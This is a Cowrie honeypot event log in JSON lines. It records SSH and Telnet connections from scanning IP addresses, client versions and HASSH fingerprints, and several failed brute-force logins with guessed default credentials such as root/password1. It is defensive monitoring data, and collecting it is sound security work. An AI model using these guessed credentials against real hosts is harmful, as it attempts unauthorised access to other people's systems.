{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fcb157ae8b0","protocol":"ssh","message":"New connection: 198.98.56.205:37740 (159.203.135.109:22) [session: 9fcb157ae8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:14.880575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:14.886023Z","src_ip":"198.98.56.205","session":"9fcb157ae8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:14.892415Z","src_ip":"198.98.56.205","session":"9fcb157ae8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sql","message":"login attempt [ubuntu/123sql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:14.949398Z","src_ip":"198.98.56.205","session":"9fcb157ae8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:15.958653Z","src_ip":"198.98.56.205","session":"9fcb157ae8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54128,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbed8e980772","protocol":"telnet","message":"New connection: 38.60.198.128:54128 (159.203.135.109:23) [session: fbed8e980772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:16.271508Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"db6ea2fdb475","protocol":"telnet","message":"New connection: 192.211.53.160:56848 (159.203.135.109:23) [session: db6ea2fdb475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:16.900643Z"}
{"eventid":"cowrie.session.closed","duration":49.51953887939453,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:17.321788Z","src_ip":"38.60.198.128","session":"6fd6cd93a960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"d578be4dc4ae","protocol":"telnet","message":"New connection: 38.60.198.128:59190 (159.203.135.109:23) [session: d578be4dc4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:19.042015Z"}
{"eventid":"cowrie.session.closed","duration":47.0623562335968,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:19.854056Z","src_ip":"38.60.198.128","session":"dd11f2d12939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.321861267089844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:20.709755Z","src_ip":"38.60.198.128","session":"aa4341947ca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56890,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e61a228c22","protocol":"telnet","message":"New connection: 38.60.198.128:56890 (159.203.135.109:23) [session: 88e61a228c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:20.744824Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57066,"dst_ip":"159.203.135.109","dst_port":23,"session":"362d5f38aa65","protocol":"telnet","message":"New connection: 192.211.53.160:57066 (159.203.135.109:23) [session: 362d5f38aa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:20.898401Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a769e9141b4","protocol":"telnet","message":"New connection: 38.60.198.128:34508 (159.203.135.109:23) [session: 2a769e9141b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:22.128052Z"}
{"eventid":"cowrie.session.closed","duration":38.94391989707947,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:22.920720Z","src_ip":"38.60.198.128","session":"b769c608fa52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.49209475517273,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:24.323010Z","src_ip":"38.60.198.128","session":"4c6d2b07614d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42206,"dst_ip":"159.203.135.109","dst_port":23,"session":"5673898217bd","protocol":"telnet","message":"New connection: 38.60.198.128:42206 (159.203.135.109:23) [session: 5673898217bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:29.472880Z"}
{"eventid":"cowrie.session.closed","duration":2.313901901245117,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:31.786519Z","src_ip":"38.60.198.128","session":"5673898217bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.502508878707886,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:34.800197Z","src_ip":"38.60.198.128","session":"b26eb46d38df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b84e0cfc01","protocol":"telnet","message":"New connection: 38.54.119.93:54244 (10.17.0.5:23) [session: 28b84e0cfc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:37.460237Z"}
{"eventid":"cowrie.session.closed","duration":44.16405439376831,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:40.801940Z","src_ip":"38.60.198.128","session":"47eae4e7d6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab5bb890ee4d","protocol":"telnet","message":"New connection: 38.60.198.128:57480 (159.203.135.109:23) [session: ab5bb890ee4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:42.976403Z"}
{"eventid":"cowrie.session.closed","duration":49.779191970825195,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:54.436390Z","src_ip":"38.60.198.128","session":"1d690612a9d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.97035264968872,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:58.756557Z","src_ip":"38.54.119.93","session":"ce01d77bff8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.631131649017334,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:59.531626Z","src_ip":"192.211.53.160","session":"db6ea2fdb475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.185808181762695,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:00.144656Z","src_ip":"38.60.198.128","session":"7c0cb4a0d249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.561970472335815,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:00.874950Z","src_ip":"38.60.198.128","session":"e4f97e665994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.649521350860596,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:02.547832Z","src_ip":"192.211.53.160","session":"362d5f38aa65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.01564621925354,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:04.143572Z","src_ip":"38.60.198.128","session":"2a769e9141b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.086814880371094,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:06.128705Z","src_ip":"38.60.198.128","session":"d578be4dc4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":54254,"dst_ip":"159.203.135.109","dst_port":22,"session":"9baec15fa1d6","protocol":"ssh","message":"New connection: 198.98.56.205:54254 (159.203.135.109:22) [session: 9baec15fa1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:06.463478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:06.468138Z","src_ip":"198.98.56.205","session":"9baec15fa1d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:06.473763Z","src_ip":"198.98.56.205","session":"9baec15fa1d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"pass","message":"login attempt [server/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:06.530457Z","src_ip":"198.98.56.205","session":"9baec15fa1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:07.540718Z","src_ip":"198.98.56.205","session":"9baec15fa1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017442703247,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:08.749782Z","src_ip":"177.157.238.18","session":"9eded6f0dc3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.157.238.18","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ca02fa0571","protocol":"telnet","message":"New connection: 177.157.238.18:55868 (10.17.0.5:23) [session: 63ca02fa0571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:09.329421Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35148,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e4b3986b77","protocol":"telnet","message":"New connection: 38.60.198.128:35148 (159.203.135.109:23) [session: 65e4b3986b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:11.553220Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d4cc118e22","protocol":"telnet","message":"New connection: 38.60.198.128:36774 (159.203.135.109:23) [session: e9d4cc118e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:12.902345Z"}
{"eventid":"cowrie.session.closed","duration":55.60798978805542,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:16.352697Z","src_ip":"38.60.198.128","session":"88e61a228c22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41800,"dst_ip":"159.203.135.109","dst_port":23,"session":"32beee64d6e8","protocol":"telnet","message":"New connection: 38.60.198.128:41800 (159.203.135.109:23) [session: 32beee64d6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:16.951293Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c2c7cc9942","protocol":"telnet","message":"New connection: 38.60.198.128:39702 (159.203.135.109:23) [session: f4c2c7cc9942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:18.098113Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21308,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4287e26ba53","protocol":"ssh","message":"New connection: 194.59.206.2:21308 (10.17.0.5:22) [session: e4287e26ba53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:19.252342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:19.256835Z","src_ip":"194.59.206.2","session":"e4287e26ba53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:19.360567Z","src_ip":"194.59.206.2","session":"e4287e26ba53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:19.456567Z","src_ip":"194.59.206.2","session":"e4287e26ba53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45714,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0879b7332f","protocol":"telnet","message":"New connection: 38.60.198.128:45714 (159.203.135.109:23) [session: df0879b7332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:21.301573Z"}
{"eventid":"cowrie.session.closed","duration":46.943705797195435,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:24.403751Z","src_ip":"38.54.119.93","session":"28b84e0cfc01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8214693069458,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:25.797717Z","src_ip":"38.60.198.128","session":"ab5bb890ee4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbcb89e8e9de","protocol":"telnet","message":"New connection: 38.60.198.128:55682 (159.203.135.109:23) [session: fbcb89e8e9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:28.302526Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57650,"dst_ip":"159.203.135.109","dst_port":23,"session":"73111ed7d7e6","protocol":"telnet","message":"New connection: 38.60.198.128:57650 (159.203.135.109:23) [session: 73111ed7d7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:30.129385Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7819fd905e7","protocol":"telnet","message":"New connection: 38.60.198.128:35084 (159.203.135.109:23) [session: d7819fd905e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:35.397784Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38212,"dst_ip":"159.203.135.109","dst_port":23,"session":"c354feed6e3a","protocol":"telnet","message":"New connection: 38.60.198.128:38212 (159.203.135.109:23) [session: c354feed6e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:38.795858Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41956,"dst_ip":"159.203.135.109","dst_port":23,"session":"64f91374b70b","protocol":"telnet","message":"New connection: 38.60.198.128:41956 (159.203.135.109:23) [session: 64f91374b70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:39.950883Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43444,"dst_ip":"159.203.135.109","dst_port":23,"session":"319643058aa9","protocol":"telnet","message":"New connection: 38.60.198.128:43444 (159.203.135.109:23) [session: 319643058aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:41.134601Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":1377,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f8b2b0c93a","protocol":"ssh","message":"New connection: 193.24.211.95:1377 (159.203.135.109:22) [session: 83f8b2b0c93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:43.354733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:43.359574Z","src_ip":"193.24.211.95","session":"83f8b2b0c93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:43.470837Z","src_ip":"193.24.211.95","session":"83f8b2b0c93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1","message":"login attempt [root/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:44.014472Z","src_ip":"193.24.211.95","session":"83f8b2b0c93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:45.128956Z","src_ip":"193.24.211.95","session":"83f8b2b0c93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113248825073,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:13:45.454465Z","src_ip":"197.97.45.41","session":"db3a1f8d47af","protocol":"telnet"}
